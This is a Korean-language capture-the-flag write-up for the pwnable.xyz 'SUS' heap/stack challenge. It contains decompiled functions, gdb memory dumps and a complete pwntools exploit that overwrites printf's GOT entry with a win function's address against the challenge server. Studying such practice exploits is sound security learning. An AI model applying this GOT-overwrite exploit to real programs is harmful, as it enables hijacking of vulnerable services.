pwnable.xyz - SUS

2021. 9. 30. 10:44Pwnable

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  setup(argc, argv, envp);
  puts("SUS - Single User Storage.");
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      printf("> ");
      v3 = read_int32();
      if ( v3 != 1 )
        break;
      create_user();
    }
    if ( v3 <= 1 )
      break;
    if ( v3 == 2 )
    {
      print_user();
    }
    else if ( v3 == 3 )
    {
      edit_usr();
    }
    else
    {
LABEL_13:
      puts("Invalid");
    }
  }
  if ( v3 )
    goto LABEL_13;
  return 0;
}

일단 프로그램을 시켜보면

heap영역에서 익스플로잇을 하는 구조처럼 생겼다.

main함수를 분석해보면

처음 입력에 따라 분기문만 존재한다.

unsigned __int64 create_user()
{
  void *s; // [rsp+0h] [rbp-1060h] BYREF
  unsigned __int64 v2; // [rsp+1058h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( !s )
  {
    s = malloc(0x20uLL);
    memset(s, 0, 0x20uLL);
  }
  printf("Name: ");
  read(0, s, 0x20uLL);
  printf("Age: ");
  read_int32();
  cur = (__int64)&s;
  return __readfsqword(0x28u) ^ v2;
}

create_user 함수의 경우

  1. 0x20사이즈를 동적할당하고
  2. 초기화시켜준다.
  3. 이름을 입력받아서 해당 부분에 넣고(bof X)
  4. 나이를 입력받아서 ??
  5. cur 변수에 heap메모리의 주소를 넣는다.?!?!?
int print_user()
{
  int result; // eax

  result = cur;
  if ( cur )
  {
    printf("User: %s\n", *(const char **)cur);
    result = printf("Age: %d\n", *(unsigned int *)(cur + 72));
  }
  return result;
}

print_user 함수의 경우

cur주소에 있는 string을 읽어서 출력한다.

age의 경우 cur+72주소에 있는 값을 읽는다.

unsigned __int64 edit_usr()
{
  __int64 v0; // rbx
  unsigned __int64 v2; // [rsp+1018h] [rbp-18h]

  v2 = __readfsqword(0x28u);
  if ( cur )
  {
    printf("Name: ");
    read(0, *(void **)cur, 0x20uLL);
    printf("Age: ");
    v0 = cur;
    *(_DWORD *)(v0 + 72) = read_int32();
  }
  return __readfsqword(0x28u) ^ v2;
}

edit_usr함수의 경우

이름을 수정하고, age를 수정한다.

이름 수정떄도 bof가 발생하지 않고, age수정떄도 bof가 발생하지 않는다.

프로그램 내에서는 win함수를 직접적으로 호출하지는 않지만

프로그램상에는 win함수가 존재한다

int win()
{
  return system("cat flag");
}

한참 메모리를 뒤적거려보다가

.bss:0000000000602268 cur             dq ?                    ; DATA XREF: create_user+9D↑w

cur 이라는 변수는 0x0000000000602268에 위치하고 있고,

gef➤  x 0000000000602268
Invalid number "0000000000602268".
gef➤  x 0x0000000000602268
0x602268 <cur>: 0x00007ffdb5ee4910
gef➤  x 0x00007ffdb5ee4910
0x7ffdb5ee4910: 0x00000000011ca2a0
gef➤  x/20gx 0x00000000011ca2a0-0x10
0x11ca290:      0x0000000000000000      0x0000000000000031
0x11ca2a0:      0x4141414141414141      0x000000000000000a
0x11ca2b0:      0x0000000000000000      0x0000000000000000
0x11ca2c0:      0x0000000000000000      0x0000000000020d41
0x11ca2d0:      0x0000000000000000      0x0000000000000000
0x11ca2e0:      0x0000000000000000      0x0000000000000000
0x11ca2f0:      0x0000000000000000      0x0000000000000000
0x11ca300:      0x0000000000000000      0x0000000000000000
0x11ca310:      0x0000000000000000      0x0000000000000000
0x11ca320:      0x0000000000000000      0x0000000000000000
gef➤  heap chunks
Chunk(addr=0x11ca010, size=0x290, flags=PREV_INUSE)
    [0x00000000011ca010     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x11ca2a0, size=0x30, flags=PREV_INUSE)
    [0x00000000011ca2a0     41 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00    AAAAAAAA........]
Chunk(addr=0x11ca2d0, size=0x20d40, flags=PREV_INUSE)  ←  top chunk
gef➤

해당 위치에는 heap의 chunk 주소가 들어가 있다.

edit user(name : BBBBBBBB, age : AAAAAAAA)

를 해줬더니 메모리 구조가 아래처럼 됐다.

gef➤  x/10gx 0x00007ffdb5ee4910-0x10
0x7ffdb5ee4900: 0x4141414141414141      0x0000000000400a0a
0x7ffdb5ee4910: 0x00000000011ca2a0      0x0000000000000000
0x7ffdb5ee4920: 0x0000000000000000      0x7526aba595105200
0x7ffdb5ee4930: 0x00007ffdb5ee5970      0x0000000000400b3a
0x7ffdb5ee4940: 0x0000000000400c10      0x00007fdd7ffee190

메모리를 공유해서 사용해서 다른 함수에서 사용한 메모리가 오염되는 거 같은데..

위 처럼 메모리가 짜여져 있다면 0x11ca2a0 라는 값을 특정 함수의 got으로 넣은 후에 create를 해줄 때 name을 win의 함수 주소로 넣어주면 익스가 가능 할 것 같다.

payload

from pwn import *

r = remote("svc.pwnable.xyz", 30011)
e = ELF("./challenge")
printf_got = e.got['printf']
win_add = e.sym['win']
context.log_level = "debug"

r.sendlineafter("> ", "1")
r.sendlineafter("Name: ", "AAAA")
r.sendlineafter("Age: ", "20")
r.sendlineafter("> ", "3")
r.sendlineafter("Name: ", "AAAA")
r.sendlineafter("Age: ", "B"*0x10+p64(printf_got))
r.sendlineafter("> ", "1")
r.sendlineafter("Name: ", p64(win_add))
r.sendlineafter("Age: ", "20")
r.interactive()

풀기는 했지만 뭔가 꺼림직하다.

취약점이 발생하는 원인도 잘 모르겠고, 왜 이렇게 메모리 공유? 가 일어나게 되는지 다른 롸업들 살펴보면서 공부해야겠다...


'Pwnable' 카테고리의 다른 글

HackCTF - Unexploitable #4  (0) 2021.10.15
dreamhack.io - iofile_aw  (0) 2021.10.06
pwnable.xyz - TLSv00  (0) 2021.09.29
dreamhack.io - tcache_dup  (0) 2021.09.26
pwnable.xyz - note  (0) 2021.09.11